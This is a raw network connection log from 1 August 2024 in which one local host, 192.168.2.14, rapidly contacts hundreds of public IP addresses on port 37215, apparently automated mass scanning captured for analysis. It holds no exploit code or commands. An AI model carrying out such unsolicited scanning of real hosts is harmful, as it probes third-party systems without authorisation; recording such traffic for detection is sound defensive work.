Aug 1, 2024 15:34:57.986840010 CEST	44190	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:57.986875057 CEST	37520	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:57.987507105 CEST	43000	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:57.987588882 CEST	37215	60706	157.175.27.16	192.168.2.14
Aug 1, 2024 15:34:57.987659931 CEST	60706	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:57.988137960 CEST	37215	41812	208.67.56.114	192.168.2.14
Aug 1, 2024 15:34:57.988183022 CEST	41812	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:57.988189936 CEST	33316	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:57.988884926 CEST	37516	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:57.988960981 CEST	37215	44610	9.50.79.142	192.168.2.14
Aug 1, 2024 15:34:57.989006996 CEST	44610	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:57.989537001 CEST	44636	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:57.989929914 CEST	37215	60664	197.200.154.27	192.168.2.14
Aug 1, 2024 15:34:57.989969015 CEST	60664	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:57.990211010 CEST	36202	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:57.990912914 CEST	37215	57054	197.173.88.168	192.168.2.14
Aug 1, 2024 15:34:57.990962029 CEST	57054	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:57.991169930 CEST	35140	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:57.991771936 CEST	37215	44190	157.154.221.57	192.168.2.14
Aug 1, 2024 15:34:57.991800070 CEST	33634	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:57.991827011 CEST	44190	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:57.992383957 CEST	37215	43000	14.190.104.245	192.168.2.14
Aug 1, 2024 15:34:57.992419004 CEST	43000	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:57.992499113 CEST	35776	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:57.993092060 CEST	37215	33316	197.252.210.245	192.168.2.14
Aug 1, 2024 15:34:57.993132114 CEST	33316	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:57.993189096 CEST	35098	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:57.993835926 CEST	34606	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:57.993849993 CEST	37215	37516	197.226.46.21	192.168.2.14
Aug 1, 2024 15:34:57.993890047 CEST	37516	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:57.994370937 CEST	37215	44636	197.196.40.133	192.168.2.14
Aug 1, 2024 15:34:57.994420052 CEST	44636	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:57.994527102 CEST	39296	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:57.994975090 CEST	37215	36202	187.160.51.75	192.168.2.14
Aug 1, 2024 15:34:57.995031118 CEST	36202	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:57.995395899 CEST	44072	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:57.995903969 CEST	38384	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:57.996067047 CEST	37215	35140	197.150.90.60	192.168.2.14
Aug 1, 2024 15:34:57.996115923 CEST	35140	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:57.996684074 CEST	50350	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:57.996788025 CEST	37215	33634	41.136.78.84	192.168.2.14
Aug 1, 2024 15:34:57.996828079 CEST	33634	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:57.997307062 CEST	48714	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:57.997379065 CEST	37215	35776	197.71.56.244	192.168.2.14
Aug 1, 2024 15:34:57.997428894 CEST	35776	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:57.997950077 CEST	44882	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:57.998105049 CEST	37215	35098	41.7.253.92	192.168.2.14
Aug 1, 2024 15:34:57.998137951 CEST	35098	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:57.998676062 CEST	37215	34606	148.245.147.90	192.168.2.14
Aug 1, 2024 15:34:57.998681068 CEST	45612	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:57.998711109 CEST	34606	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:57.999366999 CEST	47452	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:57.999381065 CEST	37215	39296	63.182.26.190	192.168.2.14
Aug 1, 2024 15:34:57.999428034 CEST	39296	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:58.000071049 CEST	52708	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:58.000236988 CEST	37215	44072	197.133.207.105	192.168.2.14
Aug 1, 2024 15:34:58.000276089 CEST	44072	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:58.000735044 CEST	54534	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:58.001101971 CEST	37215	38384	41.86.147.45	192.168.2.14
Aug 1, 2024 15:34:58.001132011 CEST	38384	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:58.001462936 CEST	57850	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:58.001516104 CEST	37215	50350	130.47.155.129	192.168.2.14
Aug 1, 2024 15:34:58.001549959 CEST	50350	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:58.002171993 CEST	43212	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:58.002439976 CEST	37215	48714	197.176.24.104	192.168.2.14
Aug 1, 2024 15:34:58.002480030 CEST	48714	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:58.002808094 CEST	37618	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:58.003474951 CEST	37652	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:58.004183054 CEST	33542	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:58.004359007 CEST	37215	44882	197.18.236.36	192.168.2.14
Aug 1, 2024 15:34:58.004399061 CEST	44882	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:58.004592896 CEST	37215	45612	41.2.22.184	192.168.2.14
Aug 1, 2024 15:34:58.004604101 CEST	37215	47452	157.19.219.96	192.168.2.14
Aug 1, 2024 15:34:58.004637957 CEST	45612	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:58.004637957 CEST	47452	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:58.004894972 CEST	37215	52708	41.117.191.144	192.168.2.14
Aug 1, 2024 15:34:58.004926920 CEST	52708	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:58.004939079 CEST	58824	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:58.005606890 CEST	49456	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:58.005733013 CEST	37215	54534	151.198.130.124	192.168.2.14
Aug 1, 2024 15:34:58.005774021 CEST	54534	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:58.006382942 CEST	37215	57850	172.128.243.228	192.168.2.14
Aug 1, 2024 15:34:58.006441116 CEST	41916	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:58.006443024 CEST	57850	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:58.007180929 CEST	44448	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:58.007258892 CEST	37215	43212	157.182.228.215	192.168.2.14
Aug 1, 2024 15:34:58.007293940 CEST	43212	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:58.007906914 CEST	54842	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:58.008080006 CEST	37215	37618	157.194.129.160	192.168.2.14
Aug 1, 2024 15:34:58.008114100 CEST	37618	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:58.008444071 CEST	37215	37652	197.141.27.118	192.168.2.14
Aug 1, 2024 15:34:58.008511066 CEST	37652	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:58.008599043 CEST	52318	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:58.009309053 CEST	46018	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:58.009897947 CEST	37215	33542	111.219.90.142	192.168.2.14
Aug 1, 2024 15:34:58.009917021 CEST	37215	58824	17.213.200.107	192.168.2.14
Aug 1, 2024 15:34:58.009938002 CEST	33542	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:58.009964943 CEST	58824	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:58.010051012 CEST	41962	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:58.010392904 CEST	37215	49456	41.125.82.183	192.168.2.14
Aug 1, 2024 15:34:58.010435104 CEST	49456	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:58.010725021 CEST	33870	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:58.011356115 CEST	60292	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:58.011368990 CEST	37215	41916	197.104.130.27	192.168.2.14
Aug 1, 2024 15:34:58.011404991 CEST	41916	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:58.011976004 CEST	44026	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:58.012291908 CEST	37215	44448	119.90.131.53	192.168.2.14
Aug 1, 2024 15:34:58.012332916 CEST	44448	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:58.012659073 CEST	33234	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:58.012893915 CEST	37215	54842	197.153.149.210	192.168.2.14
Aug 1, 2024 15:34:58.012934923 CEST	54842	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:58.013334990 CEST	33192	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:58.013608932 CEST	37215	52318	197.152.239.61	192.168.2.14
Aug 1, 2024 15:34:58.013648987 CEST	52318	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:58.013994932 CEST	33632	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:58.014698982 CEST	37215	45016	136.240.75.168	192.168.2.14
Aug 1, 2024 15:34:58.014708996 CEST	37215	52244	76.134.1.80	192.168.2.14
Aug 1, 2024 15:34:58.014717102 CEST	60948	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:58.014755964 CEST	37215	44120	197.229.191.118	192.168.2.14
Aug 1, 2024 15:34:58.014766932 CEST	37215	47268	157.21.7.82	192.168.2.14
Aug 1, 2024 15:34:58.014779091 CEST	37215	45212	121.244.99.184	192.168.2.14
Aug 1, 2024 15:34:58.014784098 CEST	37215	48492	99.6.122.63	192.168.2.14
Aug 1, 2024 15:34:58.014791965 CEST	37215	32954	41.85.120.196	192.168.2.14
Aug 1, 2024 15:34:58.014796019 CEST	37215	50822	149.176.208.237	192.168.2.14
Aug 1, 2024 15:34:58.014830112 CEST	37215	58400	157.143.230.35	192.168.2.14
Aug 1, 2024 15:34:58.014841080 CEST	37215	45412	41.121.204.245	192.168.2.14
Aug 1, 2024 15:34:58.014849901 CEST	37215	37726	119.247.203.93	192.168.2.14
Aug 1, 2024 15:34:58.014858961 CEST	37215	59010	157.74.54.45	192.168.2.14
Aug 1, 2024 15:34:58.014868975 CEST	37215	47554	152.232.93.173	192.168.2.14
Aug 1, 2024 15:34:58.014878988 CEST	37215	48016	197.76.83.220	192.168.2.14
Aug 1, 2024 15:34:58.014889002 CEST	37215	38358	173.114.107.169	192.168.2.14
Aug 1, 2024 15:34:58.014897108 CEST	37215	42938	41.88.166.205	192.168.2.14
Aug 1, 2024 15:34:58.014900923 CEST	37215	45970	157.84.4.1	192.168.2.14
Aug 1, 2024 15:34:58.014910936 CEST	37215	43132	197.219.253.245	192.168.2.14
Aug 1, 2024 15:34:58.014931917 CEST	37215	32782	157.36.160.152	192.168.2.14
Aug 1, 2024 15:34:58.014940977 CEST	37215	34126	41.37.117.100	192.168.2.14
Aug 1, 2024 15:34:58.014950037 CEST	37215	38666	197.90.214.116	192.168.2.14
Aug 1, 2024 15:34:58.014959097 CEST	37215	51818	157.214.156.161	192.168.2.14
Aug 1, 2024 15:34:58.014967918 CEST	37215	53618	41.114.57.144	192.168.2.14
Aug 1, 2024 15:34:58.014977932 CEST	37215	51770	157.222.169.28	192.168.2.14
Aug 1, 2024 15:34:58.014987946 CEST	37215	44562	41.173.175.247	192.168.2.14
Aug 1, 2024 15:34:58.015000105 CEST	37215	45678	210.206.245.32	192.168.2.14
Aug 1, 2024 15:34:58.015007973 CEST	37215	43630	157.86.186.82	192.168.2.14
Aug 1, 2024 15:34:58.015012980 CEST	37215	57756	157.147.34.89	192.168.2.14
Aug 1, 2024 15:34:58.015022993 CEST	37215	52726	197.159.91.59	192.168.2.14
Aug 1, 2024 15:34:58.015041113 CEST	37215	40012	116.122.159.73	192.168.2.14
Aug 1, 2024 15:34:58.015050888 CEST	37215	47634	41.181.87.70	192.168.2.14
Aug 1, 2024 15:34:58.015060902 CEST	37215	58414	41.229.34.33	192.168.2.14
Aug 1, 2024 15:34:58.015069962 CEST	37215	44322	197.17.154.0	192.168.2.14
Aug 1, 2024 15:34:58.015078068 CEST	37215	47450	197.117.183.255	192.168.2.14
Aug 1, 2024 15:34:58.015088081 CEST	37215	58682	115.207.220.252	192.168.2.14
Aug 1, 2024 15:34:58.015096903 CEST	37215	59558	200.72.248.194	192.168.2.14
Aug 1, 2024 15:34:58.015110970 CEST	37215	36728	157.84.64.80	192.168.2.14
Aug 1, 2024 15:34:58.015119076 CEST	37215	35996	162.197.87.219	192.168.2.14
Aug 1, 2024 15:34:58.015129089 CEST	37215	36162	197.69.41.146	192.168.2.14
Aug 1, 2024 15:34:58.015137911 CEST	37215	39210	41.243.3.39	192.168.2.14
Aug 1, 2024 15:34:58.015147924 CEST	37215	34936	79.196.100.247	192.168.2.14
Aug 1, 2024 15:34:58.015157938 CEST	37215	54052	9.105.10.4	192.168.2.14
Aug 1, 2024 15:34:58.015166998 CEST	37215	49672	157.153.88.99	192.168.2.14
Aug 1, 2024 15:34:58.015176058 CEST	37215	35174	197.92.230.23	192.168.2.14
Aug 1, 2024 15:34:58.015186071 CEST	37215	53946	41.246.219.118	192.168.2.14
Aug 1, 2024 15:34:58.015196085 CEST	37215	34396	41.242.194.188	192.168.2.14
Aug 1, 2024 15:34:58.015206099 CEST	37215	47630	41.235.161.222	192.168.2.14
Aug 1, 2024 15:34:58.015227079 CEST	37215	41010	41.119.64.108	192.168.2.14
Aug 1, 2024 15:34:58.015235901 CEST	37215	46584	197.224.223.95	192.168.2.14
Aug 1, 2024 15:34:58.015245914 CEST	37215	43028	147.57.45.29	192.168.2.14
Aug 1, 2024 15:34:58.015256882 CEST	37215	47688	197.115.117.73	192.168.2.14
Aug 1, 2024 15:34:58.015266895 CEST	37215	43408	157.37.145.138	192.168.2.14
Aug 1, 2024 15:34:58.015276909 CEST	37215	33478	157.116.105.171	192.168.2.14
Aug 1, 2024 15:34:58.015286922 CEST	37215	54428	105.61.187.232	192.168.2.14
Aug 1, 2024 15:34:58.015290976 CEST	37215	35866	157.55.99.228	192.168.2.14
Aug 1, 2024 15:34:58.015295982 CEST	37215	53942	157.252.45.45	192.168.2.14
Aug 1, 2024 15:34:58.015305042 CEST	37215	44470	157.111.86.94	192.168.2.14
Aug 1, 2024 15:34:58.015315056 CEST	37215	39362	197.115.108.30	192.168.2.14
Aug 1, 2024 15:34:58.015325069 CEST	37215	35032	41.53.153.51	192.168.2.14
Aug 1, 2024 15:34:58.015335083 CEST	37215	59624	86.145.59.248	192.168.2.14
Aug 1, 2024 15:34:58.015343904 CEST	37215	57316	197.4.230.80	192.168.2.14
Aug 1, 2024 15:34:58.015353918 CEST	37215	50606	157.142.243.64	192.168.2.14
Aug 1, 2024 15:34:58.015357971 CEST	37215	35848	117.187.225.22	192.168.2.14
Aug 1, 2024 15:34:58.015367985 CEST	37215	46892	157.172.58.12	192.168.2.14
Aug 1, 2024 15:34:58.015378952 CEST	37215	41254	197.61.148.16	192.168.2.14
Aug 1, 2024 15:34:58.015388012 CEST	37215	42784	122.184.139.106	192.168.2.14
Aug 1, 2024 15:34:58.015398026 CEST	37215	42838	157.143.154.46	192.168.2.14
Aug 1, 2024 15:34:58.015414953 CEST	37215	35616	197.249.88.214	192.168.2.14
Aug 1, 2024 15:34:58.015425920 CEST	37215	43696	177.117.141.141	192.168.2.14
Aug 1, 2024 15:34:58.015433073 CEST	49726	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:58.015435934 CEST	37215	34186	41.193.128.149	192.168.2.14
Aug 1, 2024 15:34:58.015444994 CEST	37215	37282	89.158.201.188	192.168.2.14
Aug 1, 2024 15:34:58.015455008 CEST	37215	57886	41.76.214.25	192.168.2.14
Aug 1, 2024 15:34:58.015464067 CEST	37215	54272	41.72.112.32	192.168.2.14
Aug 1, 2024 15:34:58.015474081 CEST	37215	32902	150.202.107.179	192.168.2.14
Aug 1, 2024 15:34:58.015484095 CEST	37215	34450	157.237.238.8	192.168.2.14
Aug 1, 2024 15:34:58.015495062 CEST	37215	39356	197.113.21.92	192.168.2.14
Aug 1, 2024 15:34:58.015503883 CEST	37215	60066	41.38.190.41	192.168.2.14
Aug 1, 2024 15:34:58.015521049 CEST	37215	34110	157.6.154.255	192.168.2.14
Aug 1, 2024 15:34:58.015530109 CEST	37215	34698	157.253.143.41	192.168.2.14
Aug 1, 2024 15:34:58.015538931 CEST	37215	42852	197.194.38.163	192.168.2.14
Aug 1, 2024 15:34:58.015547991 CEST	37215	45042	157.141.216.101	192.168.2.14
Aug 1, 2024 15:34:58.015561104 CEST	37215	40542	197.91.165.77	192.168.2.14
Aug 1, 2024 15:34:58.015571117 CEST	37215	53504	157.178.58.224	192.168.2.14
Aug 1, 2024 15:34:58.015579939 CEST	37215	37384	157.16.45.114	192.168.2.14
Aug 1, 2024 15:34:58.015590906 CEST	37215	32926	197.15.213.209	192.168.2.14
Aug 1, 2024 15:34:58.015600920 CEST	37215	52190	41.26.100.186	192.168.2.14
Aug 1, 2024 15:34:58.015610933 CEST	37215	44804	197.128.51.138	192.168.2.14
Aug 1, 2024 15:34:58.015620947 CEST	37215	56238	157.23.152.245	192.168.2.14
Aug 1, 2024 15:34:58.015633106 CEST	37215	49010	197.101.242.74	192.168.2.14
Aug 1, 2024 15:34:58.015644073 CEST	37215	50912	157.97.41.229	192.168.2.14
Aug 1, 2024 15:34:58.015654087 CEST	37215	45244	41.185.100.117	192.168.2.14
Aug 1, 2024 15:34:58.015664101 CEST	37215	42674	197.139.84.49	192.168.2.14
Aug 1, 2024 15:34:58.015672922 CEST	37215	60482	197.253.172.111	192.168.2.14
Aug 1, 2024 15:34:58.015688896 CEST	37215	54344	41.112.168.9	192.168.2.14
Aug 1, 2024 15:34:58.015697956 CEST	37215	41632	157.143.77.8	192.168.2.14
Aug 1, 2024 15:34:58.015708923 CEST	37215	60860	135.171.11.223	192.168.2.14
Aug 1, 2024 15:34:58.015719891 CEST	37215	57968	157.124.238.97	192.168.2.14
Aug 1, 2024 15:34:58.015732050 CEST	37215	39132	41.243.30.216	192.168.2.14
Aug 1, 2024 15:34:58.015741110 CEST	37215	60118	157.139.217.248	192.168.2.14
Aug 1, 2024 15:34:58.015750885 CEST	37215	36092	157.239.173.146	192.168.2.14
Aug 1, 2024 15:34:58.015754938 CEST	37215	37860	157.22.48.45	192.168.2.14
Aug 1, 2024 15:34:58.015763044 CEST	37215	53880	157.3.231.133	192.168.2.14
Aug 1, 2024 15:34:58.015774012 CEST	37215	34188	41.3.255.40	192.168.2.14
Aug 1, 2024 15:34:58.015784025 CEST	37215	47206	41.124.231.62	192.168.2.14
Aug 1, 2024 15:34:58.015794992 CEST	37215	49764	197.6.247.128	192.168.2.14
Aug 1, 2024 15:34:58.015806913 CEST	37215	47942	41.34.162.72	192.168.2.14
Aug 1, 2024 15:34:58.015815973 CEST	37215	55860	157.186.91.72	192.168.2.14
Aug 1, 2024 15:34:58.015825987 CEST	37215	36058	197.238.214.184	192.168.2.14
Aug 1, 2024 15:34:58.015836000 CEST	37215	44670	12.5.237.45	192.168.2.14
Aug 1, 2024 15:34:58.015853882 CEST	37215	42208	41.172.52.42	192.168.2.14
Aug 1, 2024 15:34:58.015873909 CEST	37215	35962	137.123.9.9	192.168.2.14
Aug 1, 2024 15:34:58.015883923 CEST	37215	55958	41.146.96.4	192.168.2.14
Aug 1, 2024 15:34:58.015892029 CEST	37215	45172	102.97.63.75	192.168.2.14
Aug 1, 2024 15:34:58.015902996 CEST	37215	59660	197.14.237.171	192.168.2.14
Aug 1, 2024 15:34:58.015913010 CEST	37215	53584	197.51.113.103	192.168.2.14
Aug 1, 2024 15:34:58.015918016 CEST	37215	56702	197.5.0.94	192.168.2.14
Aug 1, 2024 15:34:58.015927076 CEST	37215	36768	157.234.123.41	192.168.2.14
Aug 1, 2024 15:34:58.015937090 CEST	37215	42200	41.103.184.180	192.168.2.14
Aug 1, 2024 15:34:58.015945911 CEST	37215	40864	41.150.28.211	192.168.2.14
Aug 1, 2024 15:34:58.015955925 CEST	37215	46778	27.57.102.199	192.168.2.14
Aug 1, 2024 15:34:58.015964031 CEST	37215	36586	200.156.103.209	192.168.2.14
Aug 1, 2024 15:34:58.015974998 CEST	37215	52222	157.195.114.238	192.168.2.14
Aug 1, 2024 15:34:58.016144991 CEST	55144	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:58.016146898 CEST	37215	46018	157.108.69.147	192.168.2.14
Aug 1, 2024 15:34:58.016156912 CEST	37215	41962	197.177.166.85	192.168.2.14
Aug 1, 2024 15:34:58.016166925 CEST	37215	33870	197.141.234.224	192.168.2.14
Aug 1, 2024 15:34:58.016189098 CEST	46018	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:58.016194105 CEST	41962	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:58.016195059 CEST	33870	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:58.016331911 CEST	37215	60292	41.12.104.26	192.168.2.14
Aug 1, 2024 15:34:58.016367912 CEST	60292	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:58.016849041 CEST	34792	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:58.017216921 CEST	37215	44026	157.101.184.107	192.168.2.14
Aug 1, 2024 15:34:58.017244101 CEST	44026	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:58.017427921 CEST	37215	33234	160.149.238.205	192.168.2.14
Aug 1, 2024 15:34:58.017525911 CEST	33234	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:58.017548084 CEST	36160	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:58.018150091 CEST	49448	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:58.018188953 CEST	37215	33192	41.135.240.219	192.168.2.14
Aug 1, 2024 15:34:58.018241882 CEST	33192	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:58.018841982 CEST	37215	33632	41.12.240.236	192.168.2.14
Aug 1, 2024 15:34:58.018876076 CEST	36062	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:58.018877983 CEST	33632	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:58.019576073 CEST	46388	37215	192.168.2.14	157.158.84.141
Aug 1, 2024 15:34:58.019602060 CEST	37215	60948	41.18.157.111	192.168.2.14
Aug 1, 2024 15:34:58.019659996 CEST	60948	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:58.020220995 CEST	35788	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:58.020796061 CEST	37215	49726	197.86.199.8	192.168.2.14
Aug 1, 2024 15:34:58.020826101 CEST	49726	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:58.020925999 CEST	54156	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:58.021111965 CEST	37215	55144	157.179.229.76	192.168.2.14
Aug 1, 2024 15:34:58.021153927 CEST	55144	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:58.021568060 CEST	39214	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:58.021635056 CEST	37215	34792	41.171.17.204	192.168.2.14
Aug 1, 2024 15:34:58.021678925 CEST	34792	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:58.022260904 CEST	43462	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:58.022594929 CEST	37215	36160	157.74.188.160	192.168.2.14
Aug 1, 2024 15:34:58.022639036 CEST	36160	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:58.022955894 CEST	35982	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:58.023093939 CEST	37215	49448	197.58.206.143	192.168.2.14
Aug 1, 2024 15:34:58.023135900 CEST	49448	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:58.023751020 CEST	58702	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:58.023792028 CEST	37215	36062	41.117.23.22	192.168.2.14
Aug 1, 2024 15:34:58.023830891 CEST	36062	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:58.024419069 CEST	39564	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:58.024593115 CEST	37215	46388	157.158.84.141	192.168.2.14
Aug 1, 2024 15:34:58.024698973 CEST	46388	37215	192.168.2.14	157.158.84.141
Aug 1, 2024 15:34:58.025095940 CEST	38286	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:58.025264978 CEST	37215	35788	197.137.205.208	192.168.2.14
Aug 1, 2024 15:34:58.025316000 CEST	35788	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:58.025722980 CEST	35068	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:58.025934935 CEST	37215	54156	163.42.224.94	192.168.2.14
Aug 1, 2024 15:34:58.025973082 CEST	54156	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:58.026396036 CEST	34514	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:58.026465893 CEST	37215	39214	197.191.74.75	192.168.2.14
Aug 1, 2024 15:34:58.026509047 CEST	39214	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:58.027010918 CEST	37215	43462	197.92.56.154	192.168.2.14
Aug 1, 2024 15:34:58.027054071 CEST	43462	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:58.027074099 CEST	34330	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:58.027709007 CEST	37215	35982	41.46.147.104	192.168.2.14
Aug 1, 2024 15:34:58.027745962 CEST	33348	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:58.027750015 CEST	35982	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:58.028477907 CEST	51530	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:58.028532028 CEST	37215	58702	41.23.136.70	192.168.2.14
Aug 1, 2024 15:34:58.028592110 CEST	58702	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:58.029145956 CEST	46206	37215	192.168.2.14	41.126.121.67
Aug 1, 2024 15:34:58.029165983 CEST	37215	39564	41.241.93.77	192.168.2.14
Aug 1, 2024 15:34:58.029207945 CEST	39564	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:58.029779911 CEST	59778	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:58.029921055 CEST	37215	38286	41.225.137.7	192.168.2.14
Aug 1, 2024 15:34:58.029962063 CEST	38286	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:58.030478954 CEST	50872	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:58.030709982 CEST	37215	35068	197.44.123.150	192.168.2.14
Aug 1, 2024 15:34:58.030752897 CEST	35068	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:58.031138897 CEST	57040	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:58.031407118 CEST	37215	34514	157.59.133.168	192.168.2.14
Aug 1, 2024 15:34:58.031465054 CEST	34514	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:58.031796932 CEST	49210	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:58.032027960 CEST	37215	34330	197.69.76.72	192.168.2.14
Aug 1, 2024 15:34:58.032072067 CEST	34330	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:58.032505989 CEST	34712	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:58.032633066 CEST	37215	33348	197.73.155.152	192.168.2.14
Aug 1, 2024 15:34:58.032665968 CEST	33348	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:58.033168077 CEST	49734	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:58.033524036 CEST	37215	51530	54.13.239.184	192.168.2.14
Aug 1, 2024 15:34:58.033565044 CEST	51530	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:58.033812046 CEST	46126	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:58.034080982 CEST	37215	46206	41.126.121.67	192.168.2.14
Aug 1, 2024 15:34:58.034151077 CEST	46206	37215	192.168.2.14	41.126.121.67
